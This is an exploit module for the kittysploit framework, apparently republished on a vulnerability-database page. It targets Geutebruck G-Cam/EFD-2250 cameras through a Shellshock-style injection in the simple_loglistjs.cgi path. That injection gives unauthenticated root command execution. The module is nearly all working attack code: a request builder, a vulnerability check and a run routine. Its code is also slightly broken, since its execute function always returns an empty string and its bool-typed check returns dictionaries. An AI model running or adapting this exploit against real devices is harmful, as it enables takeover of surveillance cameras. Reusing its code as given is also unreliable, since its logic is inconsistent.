Geutebruck G-Cam/EFD-2250 RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Geutebruck G-Cam/EFD-2250 RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Geutebruck G-Cam/EFD-2250 RCE',
'description': 'This module exploits a an arbitrary command execution vulnerability. Thevulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows ananonymous user to execute arbitrary commands with root privileges.',
'author': ['Nicolas Mattiocco', 'Davy DouhineGH0st3rs'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://www.exploit-db.com/exploits/44957', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01'],
'tags': ['iot', 'camera', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def execute(self, cmd: str) -> str:
header = "(){ :;}; "
self.http_request(
method='GET',
path=f"/uapi-cgi/viewer/simple_loglistjs.cgi?{header}{cmd}",
)
return ''
def check(self) -> bool:
response = self.http_request(method='GET', path="/uapi-cgi/viewer/simple_loglistjs.cgi")
if response is None:
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
# Lots of devices are redirecting. This triggers a false positive.
if response.status_code == 307:
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
if response:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
def check_execute(self) -> bool:
token = self.random_text(8)
return token in (self.execute(f"echo {token}") or "")
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
6.7Medium risk
Vulners AI Score6.7